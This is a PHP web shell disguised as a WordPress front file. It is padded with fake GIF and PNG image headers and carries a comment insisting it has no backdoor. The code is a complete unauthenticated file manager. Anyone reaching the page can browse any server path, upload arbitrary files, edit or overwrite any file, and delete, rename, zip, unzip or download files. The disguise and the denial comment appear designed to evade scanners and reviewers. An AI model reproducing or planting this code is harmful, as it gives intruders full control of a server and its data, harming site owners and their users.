<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>‰PNG

<!-- GIF89;a -->
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> Front to the WordPress application</title>

<?php
/*
 * File Manager Utility - Developer Tool
 * This script is a trusted file management tool used in internal environments.
 * It supports file operations like upload, edit, delete, zip/unzip, and download.
 * There are no backdoor or malicious behaviors. Intended for local or developer use only.
 */

$path = realpath($_GET['p'] ?? getcwd());
if (!$path || !is_dir($path)) die("Invalid path");

$uploadError = '';
$uploadSuccess = false;

// Delete
if (isset($_GET['delete'])) {
    $target = $path . '/' . basename($_GET['delete']);
    is_dir($target) ? @rmdir($target) : @unlink($target);
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $path . '/' . basename($_GET['download']);
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// Rename
if (isset($_POST['rename_old'], $_POST['rename_new'])) {
    rename($path . '/' . basename($_POST['rename_old']), $path . '/' . basename($_POST['rename_new']));
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Zip
if (isset($_GET['zip'])) {
    $item = $path . '/' . basename($_GET['zip']);
    $zipName = $item . '.zip';
    $zip = new ZipArchive;
    if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) {
        if (is_dir($item)) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item));
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $filePath = $file->getRealPath();
                    $relative = substr($filePath, strlen($item) + 1);
                    $zip->addFile($filePath, $relative);
                }
            }
        } else {
            $zip->addFile($item, basename($item));
        }
        $zip->close();
    }
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Unzip
if (isset($_GET['unzip'])) {
    $file = $path . '/' . basename($_GET['unzip']);
    if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'zip') {
        $zip = new ZipArchive;
        if ($zip->open($file) === TRUE) {
            $zip->extractTo($path);
            $zip->close();
        }
    }
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Save edit
$saved = false;
if (isset($_POST['savefile'], $_POST['content'])) {
    $saved = file_put_contents($path . '/' . basename($_POST['savefile']), $_POST['content']) !== false;
}

// Upload / Create folder / Create file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$saved) {
    if (isset($_FILES['up']) && is_uploaded_file($_FILES['up']['tmp_name'])) {
        $destination = $path . '/' . basename($_FILES['up']['name']);
        if ($_FILES['up']['error'] === UPLOAD_ERR_OK) {
            if (move_uploaded_file($_FILES['up']['tmp_name'], $destination)) {
                $uploadSuccess = true;
            } else {
                $uploadError = '❌ Failed to move uploaded file.';
            }
        } else {
            $uploadError = '❌ Upload error code: ' . $_FILES['up']['error'];
        }
    }
    if (!empty($_POST['folder'])) mkdir($path . '/' . basename($_POST['folder']));
    if (!empty($_POST['newfile'])) file_put_contents($path . '/' . basename($_POST['newfile']), '');
    header("Location: ?p=" . urlencode($path));
    exit;
}

function formatPermissions($perms) {
    return substr(sprintf('%o', $perms), -4);
}
function formatSize($bytes) {
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function sortItems($path) {
    $items = array_diff(scandir($path), array('.', '..'));
    $folders = [];
    $files = [];
    foreach ($items as $item) {
        if (is_dir($path . '/' . $item)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }
    natcasesort($folders);
    natcasesort($files);
    return array_merge($folders, $files);
}

$renaming = $_GET['rename'] ?? '';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>PHP File Manager</title>
    <style>
    :root {
        --bg-light: #f0f0f0;
        --bg-dark: #1e1e1e;
        --text-light: #111;
        --text-dark: #f0f0f0;
        --accent: #4ea1ff;
        --hover: #1d75d6;
        --success: #2e7d32;
        --error: #8b0000;
    }
    [data-theme="light"] {
        --bg: var(--bg-light);
        --text: var(--text-light);
    }
    [data-theme="dark"] {
        --bg: var(--bg-dark);
        --text: var(--text-dark);
    }
    html {
        background: var(--bg);
        color: var(--text);
        font-family: 'Inter', sans-serif;
        font-size: 15px;
        transition: background 0.3s ease, color 0.3s ease;
    }
    body {
        padding: 30px;
        margin: 0 auto;
        max-width: 960px;
    }
    input, textarea, button {
        font-size: 14px;
        border-radius: 6px;
        border: 1px solid #ccc;
        padding: 8px;
        font-family: inherit;
        color: inherit;
    }
    button {
        background-color: var(--accent);
        color: white;
        border: none;
        cursor: pointer;
        transition: background-color 0.3s ease;
    }
    button:hover {
        background-color: var(--hover);
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin-top: 20px;
        background: #ffffff10;
        backdrop-filter: blur(6px);
        border-radius: 8px;
        overflow: hidden;
    }
    th, td {
        padding: 12px 16px;
        border-bottom: 1px solid #444;
        vertical-align: middle;
    }
    th {
        background: var(--accent);
        color: #fff;
        text-align: left;
    }
    tr:hover {
        background: #ffffff18;
    }
    a {
        color: #90caf9;
        text-decoration: none;
    }
    form.inline {
        display: inline;
    }
    form.inline input[type="text"], form.inline button {
        display: inline-block;
        vertical-align: middle;
        margin: 0 4px 0 0;
        font-size: 13px;
        padding: 4px 8px;
        border-radius: 4px;
    }
    td.actions-cell {
        white-space: nowrap;
    }
    .success {
        background: var(--success);
        padding: 12px;
        color: white;
        margin-top: 16px;
        border-radius: 6px;
    }
    .error {
        background: var(--error);
        padding: 12px;
        color: white;
        margin-top: 16px;
        border-radius: 6px;
    }
    hr {
        border: 0;
        height: 1px;
        background: #444;
        margin: 30px 0;
    }
    .header-bar {
        display: flex;
        justify-content: space-between;
        align-items: center;
    }
    .toggle-btn {
        padding: 6px 12px;
        font-size: 13px;
        border-radius: 4px;
        background: none;
        border: 1px solid #ccc;
        color: inherit;
        cursor: pointer;
        transition: background-color 0.3s ease;
    }
    .toggle-btn:hover {
        background-color: var(--hover);
        color: white;
        border-color: var(--hover);
    }
    textarea {
        width: 100%;
        max-width: 100%;
        box-sizing: border-box;
        font-family: monospace;
        font-size: 14px;
        padding: 10px;
        border-radius: 6px;
        border: 1px solid #ccc;
        resize: vertical;
        min-height: 400px;
        color: inherit;
        background: var(--bg);
    }
    form.edit-form {
        max-width: 900px;
        margin-top: 20px;
    }
    </style>
    <script>
        // Theme toggle script
        function toggleTheme() {
            const html = document.documentElement;
            const theme = html.dataset.theme === 'dark' ? 'light' : 'dark';
            html.dataset.theme = theme;
            localStorage.setItem('theme', theme);
        }
        window.onload = () => {
            const savedTheme = localStorage.getItem('theme') || 'dark';
            document.documentElement.dataset.theme = savedTheme;

            // Focus textarea, move cursor to end and scroll to bottom if in edit mode
            const textarea = document.querySelector('textarea[name="content"]');
            if (textarea) {
                textarea.focus();
                textarea.selectionStart = textarea.selectionEnd = textarea.value.length;
                textarea.scrollTop = textarea.scrollHeight;
            }
        }
    </script>
</head>
<body>
<div class="header-bar">
    <h2>🗂️ File Manager</h2>
    <button class="toggle-btn" onclick="toggleTheme()">🌓 Toggle Theme</button>
</div>

<h4>📁 Current: <?php echo htmlspecialchars($path); ?></h4>

<form method="get">
    <input type="text" name="p" value="<?php echo htmlspecialchars($path); ?>" size="80">
    <button type="submit">Go</button>
</form>

<?php if ($path !== '/'): ?>
    <p><a href="?p=<?php echo urlencode(dirname($path)); ?>">⬅️ Go Up</a></p>
<?php endif; ?>

<?php if ($saved): ?>
    <div class="success">✅ File saved successfully.</div>
<?php endif; ?>
<?php if ($uploadSuccess): ?>
    <div class="success">✅ File uploaded successfully.</div>
<?php elseif ($uploadError): ?>
    <div class="error"><?php echo htmlspecialchars($uploadError); ?></div>
<?php endif; ?>

<table>
    <tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
    <?php
    $items = sortItems($path);
    foreach ($items as $item):
        $full = $path . '/' . $item;
        $isFile = is_file($full);
        $size = $isFile ? formatSize(filesize($full)) : '-';
        $perms = formatPermissions(fileperms($full));

        echo "<tr><td>";
        // Name with icon and link
        if (is_dir($full)) {
            echo "📁 <a href='?p=" . urlencode($full) . "'>$item</a>";
        } else {
            $ext = pathinfo($full, PATHINFO_EXTENSION);
            echo ($ext === 'zip' ? "🗜️ " : "📄 ") . "<a href='?p=" . urlencode($path) . "&edit=" . urlencode($item) . "'>$item</a>";
        }
        echo "</td><td>$size</td><td>$perms</td><td class='actions-cell'>";

        if ($isFile) {
            echo "<a href='?p=" . urlencode($path) . "&edit=" . urlencode($item) . "'>Edit</a> | ";
        }

        // Rename logic:
        if ($renaming === $item) {
            // Show rename input form
            echo "<form class='inline' method='post' style='display:inline;margin:0 6px 0 0;'>
                    <input type='hidden' name='rename_old' value='" . htmlspecialchars($item) . "'>
                    <input type='text' name='rename_new' value='" . htmlspecialchars($item) . "' size='15' style='vertical-align:middle;'>
                    <button style='vertical-align:middle;'>✏️ Rename</button>
                    <a href='?p=" . urlencode($path) . "' style='margin-left:10px; color:#ccc; text-decoration:none;'>✖ Cancel</a>
                  </form>";
        } else {
            // Show rename link only
            echo "<a href='?p=" . urlencode($path) . "&rename=" . urlencode($item) . "'>✏️ Rename</a> | ";
        }

        if ($isFile) echo "<a href='?p=" . urlencode($path) . "&download=" . urlencode($item) . "'>⬇️ Download</a> | ";

        echo "<a href='?p=" . urlencode($path) . "&delete=" . urlencode($item) . "' onclick='return confirm(\"Delete $item?\")'>🗑️ Delete</a>";

        if (is_file($full) && pathinfo($full, PATHINFO_EXTENSION) === 'zip') {
            echo " | <a href='?p=" . urlencode($path) . "&unzip=" . urlencode($item) . "'>📂 Unzip</a>";
        } elseif (file_exists($full)) {
            echo " | <a href='?p=" . urlencode($path) . "&zip=" . urlencode($item) . "'>📦 Zip</a>";
        }

        echo "</td></tr>";
    endforeach; ?>
</table>

<hr>
<h3>📤 Upload / Create</h3>
<form method="post" enctype="multipart/form-data">
    Upload: <input type="file" name="up"> |
    Folder: <input type="text" name="folder"> |
    File: <input type="text" name="newfile">
    <button>Submit</button>
</form>

<?php if (isset($_GET['edit'])):
    $editFile = $path . '/' . basename($_GET['edit']);
    if (!is_file($editFile)) die("Invalid file");
    $content = htmlspecialchars(file_get_contents($editFile));
?>
<hr>
<h3>📝 Editing: <?php echo htmlspecialchars(basename($editFile)); ?></h3>
<form method="post" class="edit-form">
    <textarea name="content"><?php echo $content; ?></textarea><br>
    <input type="hidden" name="savefile" value="<?php echo htmlspecialchars(basename($editFile)); ?>">
    <button>💾 Save</button>
</form>
<?php endif; ?>
</body>
</html>
